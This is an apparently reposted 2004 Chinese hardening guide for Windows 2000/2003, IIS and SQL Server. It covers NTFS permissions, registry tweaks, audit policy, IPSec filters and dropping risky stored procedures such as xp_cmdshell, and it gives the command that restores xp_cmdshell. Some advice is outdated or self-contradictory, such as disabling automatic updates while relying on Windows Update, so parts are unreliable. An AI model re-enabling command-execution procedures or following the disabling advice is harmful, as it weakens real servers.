  c.\inetpub\wwwroot:
  
  iusr_machine:读取及运行
  
  列出文件目录
  
  读取
  
  (允许将来自父系的可继承性权限传播给对象)
  
  e.\winnt\system32:
  
  选择除inetsrv和centsrv以外的所有目录,
  
  去除"允许将来自父系的可继承性权限传播给对象"选框,复制。
  
  f.\winnt:
  
  选择除了downloaded program files、help、iis temporary compressed files、
  
  offline web pages、system32、tasks、temp、web以外的所有目录
  
  去除"允许将来自父系的可继承性权限传播给对象"选框,复制。
  
  g.\winnt:
  
  everyone:读取及运行
  
  列出文件目录
  
  读取
  
  (允许将来自父系的可继承性权限传播给对象)
  
  h.\winnt\temp:(允许访问数据库并显示在asp页面上)
  
  everyone:修改
  
  (允许将来自父系的可继承性权限传播给对象)
  
  10.如何隐藏iis版本?
  
  一个黑客可以可以轻易的telnet到你的web端口,发送get命令来获取很多信息
  
  iis存放IIS BANNER的所对应的dll文件如下:
  
  WEB:C:\WINNT\SYSTEM32\INETSRV\W3SVC.DLL
  
  FTP:C:\WINNT\SYSTEM32\INETSRV\FTPSVC2.DLL
  
  SMTP:C:\WINNT\SYSTEM32\INETSRV\SMTPSVC.DLL
  
  你可以用16进制编辑器去修改那些dll文件的关键字,比如iis的Microsoft-IIS/5.0
  
  具体过程如下:
  
  1.停掉iis iisreset /stop
  
  2.删除%SYSTEMROOT%\system32\dllcache目录下的同名文件
  
  3.修改

2004年10月30日
阅读: 19935 时间:2004-10-30 4:57:48 来源:黑客基地 编辑:古典辣M° 
 IIS Web服务器安全加固步骤:

  
步骤
注意:

安装和配置 Windows Server 2003。
1.        将<systemroot>\System32\cmd.exe转移到其他目录或更名;
2.        系统帐号尽量少,更改默认帐户名(如Administrator)和描述,密码尽量复杂;
3.        拒绝通过网络访问该计算机(匿名登录;内置管理员帐户;Support_388945a0;Guest;所有非操作系统服务帐户)
4.        建议对一般用户只给予读取权限,而只给管理员和System以完全控制权限,但这样做有可能使某些正常的脚本程序不能执行,或者某些需要写的操作不能完成,这时需要对这些文件所在的文件夹权限进行更改,建议在做更改前先在测试机器上作测试,然后慎重更改。
5.        NTFS文件权限设定(注意文件的权限优先级别比文件夹的权限高):

文件类型
建议的 NTFS 权限
CGI 文件(.exe、.dll、.cmd、.pl)
脚本文件 (.asp)
包含文件(.inc、.shtm、.shtml)
静态内容(.txt、.gif、.jpg、.htm、.html)
Everyone(执行)
Administrators(完全控制)
System(完全控制)

6.        禁止C$、D$一类的缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
AutoShareServer、REG_DWORD、0×0
7.        禁止ADMIN$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
AutoShareWks、REG_DWORD、0×0
8.        限制IPC$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
restrictanonymous REG_DWORD 0×0 缺省
0×1 匿名用户无法列举本机用户列表
0×2 匿名用户无法连接本机IPC$共享
说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server
9.        仅给用户真正需要的权限,权限的最小化原则是安全的重要保障
10.    在本地安全策略->审核策略中打开相应的审核,推荐的审核是:
账户管理 成功 失败
登录事件 成功 失败
对象访问 失败
策略更改 成功 失败
特权使用 失败
系统事件 成功 失败
目录服务访问 失败
账户登录事件 成功 失败
审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义。 与之相关的是:
在账户策略->密码策略中设定:
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5次
最长存留期 30天
在账户策略->账户锁定策略中设定:
账户锁定 3次错误登录
锁定时间 20分钟
复位锁定计数 20分钟
11.    在Terminal Service Configration(远程服务配置)-权限-高级中配置安全审核,一般来说只要记录登录、注销事件就可以了。
12.    解除NetBios与TCP/IP协议的绑定
控制面版——网络——绑定——NetBios接口——禁用 2000:控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS
13.    在网络连接的协议里启用TCP/IP筛选,仅开放必要的端口(如80)
14.    通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接
15.    修改数据包的生存时间(TTL)值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)
16.    防止SYN洪水攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
SynAttackProtect REG_DWORD 0×2(默认值为0×0)
17.    禁止响应ICMP路由通告报文
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\interface
PerformRouterDiscovery REG_DWORD 0×0(默认值为0×2)
18.    防止ICMP重定向报文的攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
EnableICMPRedirects REG_DWORD 0×0(默认值为0×1)
19.    不支持IGMP协议
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
IGMPLevel REG_DWORD 0×0(默认值为0×2)
20.    设置arp缓存老化时间设置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)
ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)
21.    禁止死网关监测技术
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
EnableDeadGWDetect REG_DWORD 0×0(默认值为ox1)
22.    不支持路由功能
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters
IPEnableRouter REG_DWORD 0×0(默认值为0×0)


安装和配置 IIS 服务:


1.        仅安装必要的 IIS 组件。(禁用不需要的如FTP 和 SMTP 服务)
2.        仅启用必要的服务和 Web Service 扩展,推荐配置:

UI 中的组件名称
设置
设置逻辑
后台智能传输服务 (BITS) 服务器扩展
启用
BITS 是 Windows Updates 和"自动更新"所使用的后台文件传输机制。如果使用 Windows Updates 或"自动更新"在 IIS 服务器中自动应用 Service Pack 和热修补程序,则必须有该组件。
公用文件
启用
IIS 需要这些文件,一定要在 IIS 服务器中启用它们。
文件传输协议 (FTP) 服务
禁用
允许 IIS 服务器提供 FTP 服务。专用 IIS 服务器不需要该服务。
FrontPage 2002 Server Extensions
禁用
为管理和发布 Web 站点提供 FrontPage 支持。如果没有使用 FrontPage 扩展的 Web 站点,请在专用 IIS 服务器中禁用该组件。
Internet 信息服务管理器
启用
IIS 的管理界面。
Internet 打印
禁用
提供基于 Web 的打印机管理,允许通过 HTTP 共享打印机。专用 IIS 服务器不需要该组件。
NNTP 服务
禁用
在 Internet 中分发、查询、检索和投递 Usenet 新闻文章。专用 IIS 服务器不需要该组件。
SMTP 服务
禁用
支持传输电子邮件。专用 IIS 服务器不需要该组件。
万维网服务
启用
为客户端提供 Web 服务、静态和动态内容。专用 IIS 服务器需要该组件。

万维网服务子组件

UI 中的组件名称
安装选项
设置逻辑
Active Server Page
启用
提供 ASP 支持。如果 IIS 服务器中的 Web 站点和应用程序都不使用 ASP,请禁用该组件;或使用 Web 服务扩展禁用它。
Internet 数据连接器
禁用
通过扩展名为 .idc 的文件提供动态内容支持。如果 IIS 服务器中的 Web 站点和应用程序都不包括 .idc 扩展文件,请禁用该组件;或使用 Web 服务扩展禁用它。
远程管理 (HTML)
禁用
提供管理 IIS 的 HTML 界面。改用 IIS 管理器可使管理更容易,并减少了 IIS 服务器的攻击面。专用 IIS 服务器不需要该功能。
远程桌面 Web 连接
禁用
包括了管理终端服务客户端连接的 Microsoft ActiveX? 控件和范例页面。改用 IIS 管理器可使管理更容易,并减少了 IIS 服务器的攻击面。专用 IIS 服务器不需要该组件。
服务器端包括
禁用
提供 .shtm、.shtml 和 .stm 文件的支持。如果在 IIS 服务器中运行的 Web 站点和应用程序都不使用上述扩展的包括文件,请禁用该组件。
WebDAV
禁用
WebDAV 扩展了 HTTP/1.1 协议,允许客户端发布、锁定和管理 Web 中的资源。专用 IIS 服务器禁用该组件;或使用 Web 服务扩展禁用该组件。
万维网服务
启用
为客户端提供 Web 服务、静态和动态内容。专用 IIS 服务器需要该组件

3.        将IIS目录&数据与系统磁盘分开,保存在专用磁盘空间内。
4.        在IIS管理器中删除必须之外的任何没有用到的映射(保留asp等必要映射即可)
5.        在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件
6.        Web站点权限设定(建议)

Web 站点权限:
授予的权限:

允许

不允许
脚本源访问
不允许
目录浏览
建议关闭
日志访问
建议关闭
索引资源
建议关闭
执行
推荐选择 "仅限于脚本"

7.        建议使用W3C扩充日志文件格式,每天记录客户IP地址,用户名,服务器端口,方法,URI字根,HTTP状态,用户代理,而且每天均要审查日志。(最好不要使用缺省的目录,建议更换一个记日志的路径,同时设置日志的访问权限,只允许管理员和system为Full Control)。
8.        程序安全:
1) 涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,涉及到与数据库连接地用户名与口令应给予最小的权限;
2) 需要经过验证的ASP页面,可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
3) 防止ASP主页.inc文件泄露问题;
4) 防止UE等编辑器生成some.asp.bak文件泄露问题。


安全更新。
应用所需的所有 Service Pack 和 定期手动更新补丁。  

安装和配置防病毒保护。
推荐NAV 8.1以上版本病毒防火墙(配置为至少每周自动升级一次)。

安装和配置防火墙保护。
推荐最新版BlackICE Server Protection防火墙(配置简单,比较实用)

监视解决方案。
根据要求安装和配置 MOM代理或类似的监视解决方案。

加强数据备份。
Web数据定时做备份,保证在出现问题后可以恢复到最近的状态。

考虑实施 IPSec 筛选器。
用 IPSec 过滤器阻断端口
Internet 协议安全性 (IPSec) 过滤器可为增强服务器所需要的安全级别提供有效的方法。本指南推荐在指南中定义的高安全性环境中使用该选项,以便进一步减少服务器的受攻击面。
有关使用 IPSec 过滤器的详细信息,请参阅模块其他成员服务器强化过程。
下表列出在本指南定义的高级安全性环境下可在 IIS 服务器上创建的所有 IPSec 过滤器。

服务
协议
源端口
目标端口
源地址
目标地址
操作
镜像
Terminal Services
TCP
所有
3389
所有
ME
允许

HTTP Server
TCP
所有
80
所有
ME
允许

HTTPS Server
TCP
所有
443
所有
ME
允许

在实施上表所列举的规则时,应当对它们都进行镜像处理。这样可以确保任何进入服务器的网络通信也可以返回到源服务器。

SQL服务器安全加固

步骤
说明
MDAC 升级
安装最新的MDAC(_blank>http://www.microsoft.com/data/download.htm
密码策略
由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号。新建立一个拥有与sa一样权限的超级用户来管理数据库。同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:
Use master
Select name,Password from syslogins where password is null

数据库日志的记录
核数据库登录事件的"失败和成功",在实例属性中选择"安全性",将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。
管理扩展存储过程
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc ‘xp_cmdshell’
如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下(不需要可以全部去掉:
Sp_OACreate    Sp_OADestroy    Sp_OAGetErrorInfo    Sp_OAGetProperty
Sp_OAMethod    Sp_OASetProperty    Sp_OAStop
去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:
Xp_regaddmultistring      Xp_regdeletekey      Xp_regdeletevalue     Xp_regenumvalues
Xp_regread         Xp_regremovemultistring         Xp_regwrite
TCP/IP端口探测
在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。
请在上一步配置的基础上,更改原默认的1433端口。
IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server
对网络连接进行IP限制
使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,保证只有自己的IP能够访问,拒绝其他IP进行的端口连接。




附:Win2003系统建议禁用服务列表

名 称
服务名
建议设置
自动更新
wuauserv
禁用
Background Intelligent Transfer Service
BITS
禁用
Computer Browser
Browser
禁用

DHCP Client

Dhcp
禁用

NTLM Security Support Provider

NtLmSsp
禁用
Network Location Awareness
NLA
禁用

Performance Logs and Alerts

SysmonLog
禁用

Remote Administration Service

SrvcSurg
禁用

Remote Registry Service

RemoteRegistry
禁用

Server

lanmanserver
禁用

TCP/IP NetBIOS Helper Service

LmHosts
禁用

DHCP Client

Dhcp
禁用

NTLM Security Support Provider

NtLmSsp
禁用
Terminal Services
TermService
禁用

Windows Installer

MSIServer
禁用

Windows Management Instrumentation Driver Extensions

Wmi
禁用

WMI Performance Adapter

WMIApSrv
禁用
Error Reporting
ErrRep
禁用